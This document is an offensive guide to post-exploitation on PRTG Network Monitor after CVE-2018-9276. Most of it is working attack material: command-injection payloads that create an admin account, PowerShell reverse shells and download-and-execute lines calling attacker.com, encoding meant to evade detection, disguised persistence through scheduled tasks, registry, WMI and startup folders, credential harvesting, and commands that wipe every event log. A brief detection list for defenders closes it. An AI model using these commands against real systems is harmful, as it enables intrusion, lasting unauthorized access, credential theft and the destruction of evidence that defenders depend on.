PRTG Post-Exploitation & Persistence

Post-Exploitation Access Methods

After exploiting CVE-2018-9276, establish multiple access vectors:

Method 1: Local Admin User (Created via Command Injection)

Created through the notification parameter:

net user prtgadm1 Pwn3d_by_PRTG! /add
net localgroup administrators prtgadm1 /add

Access via:

• RDP (Remote Desktop Protocol)
• WinRM (Windows Remote Management)
• SMB (via impacket suite)
• psexec/wmiexec

Method 2: Reverse Shell via PowerShell

Setup Listener

nc -lvnp 4444

Or use Multi-Handler in Metasploit:

msfconsole -x "use exploit/multi/handler; set payload windows/shell_reverse_tcp; set lhost <your_ip>; set lport 4444; run"

Generate Reverse Shell Payload

Using Nishang (PowerShell penetration testing framework):

git clone https://github.com/samratashok/nishang.git
cd nishang/Shells

Modify and serve Invoke-PowerShellTcp.ps1:

Invoke-PowerShellTcp -Reverse -IPAddress <your_ip> -Port 4444

Inject via Notification Parameter

test.txt;powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<your_ip>:8000/Invoke-PowerShellTcp.ps1')"

Serve the script via Python:

python3 -m http.server 8000

Method 3: Reverse Shell via Encoded Command

Encode PowerShell command to evade detection:

# Create payload
echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.10:8000/shell.ps1')" > payload.txt

# Encode to UTF-16LE and Base64
iconv -f UTF-8 -t UTF-16LE payload.txt | base64 -w 0 > payload.b64

# Use in PRTG notification
test.txt;powershell -EncodedCommand <base64_content>

Persistence Mechanisms

Technique 1: Scheduled Task (Recommended)

Create recurring PowerShell reverse shell callback:

# Create scheduled task for persistence
$taskName = "WindowsUpdate"
$payload = "powershell -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'"

$trigger = New-ScheduledTaskTrigger -Daily -At 9:00am
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-nop -w hidden -c `"$payload`""
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest

Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $action -Principal $principal

Via PRTG Notification Parameter:

test.txt;powershell -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/persist.ps1')" && schtasks /create /tn WindowsUpdate /tr "powershell -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'" /sc daily /st 09:00

Technique 2: Registry Run Keys

Add persistence via Windows Registry:

# HKLM - System level (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "powershell -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'" /f

# HKCU - User level
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "powershell -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'" /f

Technique 3: Scheduled Notification in PRTG

Set the notification to run automatically at scheduled times instead of just manual testing:

1. Edit the notification created earlier
2. Under Schedule, select a recurring schedule (e.g., Daily at 9:00 AM)
3. This provides built-in persistence through the PRTG application

Benefits:

• Callback happens through legitimate PRTG process
• Survives reboots if PRTG service auto-starts
• Blends with normal network monitoring activity

Technique 4: WMI Event Subscription

Create persistent WMI event consumer:

$payload = "powershell -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'"

$trigger = Get-WmiObject -Class '__IntervalTimerInstruction' -Filter 'IntervalBetweenEvents=300000' -Namespace 'root\cimv2'

$consumer = New-Object System.Management.Instrumentation.ManagementEventWatcher
$consumer.Query = New-Object System.Management.Wql.WqlEventQuery("SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'")
$consumer.EventArrived += {
    Invoke-Expression $payload
}

Or via WMI command line:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="Malware", EventNamespace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="Malware", ExecutablePath="powershell.exe", CommandLineTemplate="powershell -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"Malware\"", Consumer="CommandLineEventConsumer.Name=\"Malware\""

Technique 5: Startup Folder

Place scripts in Windows startup folder:

# User startup (executes when user logs in)
$scriptPath = "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows_update.ps1"

# System startup (executes at boot, requires admin)
$scriptPath = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\windows_update.ps1"

# Create the script
$payload = 'IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/shell.ps1")'
Set-Content -Path $scriptPath -Value $payload -Force

Lateral Movement from PRTG Host

With PRTG host compromise, use it as a pivot point:

Gather Intelligence

# View PRTG configuration and credentials
cat "C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.dat"

# Look for stored credentials in PRTG database
# Common path: C:\ProgramData\Paessler\PRTG Network Monitor\

# Check PRTG logs for monitored systems
cat "C:\ProgramData\Paessler\PRTG Network Monitor\Logs\*.log"

Credential Extraction

PRTG may have credentials for monitored systems:

1. Navigate to Setup > Devices
2. Check sensor credentials and API keys
3. Extract from PRTG database files
4. Use for lateral movement to monitored infrastructure

Network Access

Use compromised PRTG host to:

• Scan internal networks (PRTG has visibility)
• Access monitored systems (PRTG has credentials)
• Establish tunnels to internal network segments
• Bypass network segmentation if PRTG is in DMZ or trusted zone

Covering Tracks

Clear PRTG Logs

# Clear notification execution logs
Remove-Item "C:\ProgramData\Paessler\PRTG Network Monitor\Logs\*" -Force

# Clear Windows Event Logs
wevtutil el | ForEach-Object {wevtutil cl $_}

Remove Created Notification

1. Login to PRTG web interface
2. Navigate to Setup > Account Settings > Notifications
3. Select the malicious notification
4. Click Delete
5. Confirm deletion

Hide Scheduled Tasks

# Remove scheduled task (delete it)
Unregister-ScheduledTask -TaskName "WindowsUpdate" -Confirm:$false

# Or disable it
Disable-ScheduledTask -TaskName "WindowsUpdate"

Disable/Remove Created User Account

# Disable account (less suspicious than deletion)
net user prtgadm1 /active:no

# Or delete entirely
net user prtgadm1 /delete

Note: Removing evidence of exploitation should only be done in authorized assessments. Leaving clean-up artifacts helps defenders understand and respond to the incident.

Detection and Hunting

Defenders should look for:

1. Unusual notification creation in PRTG audit logs
2. PowerShell execution from PRTG service account
3. New local admin accounts without approval
4. Outbound connections from PRTG host to suspicious IPs
5. Scheduled tasks created immediately after PRTG access
6. Event Log anomalies around notification execution times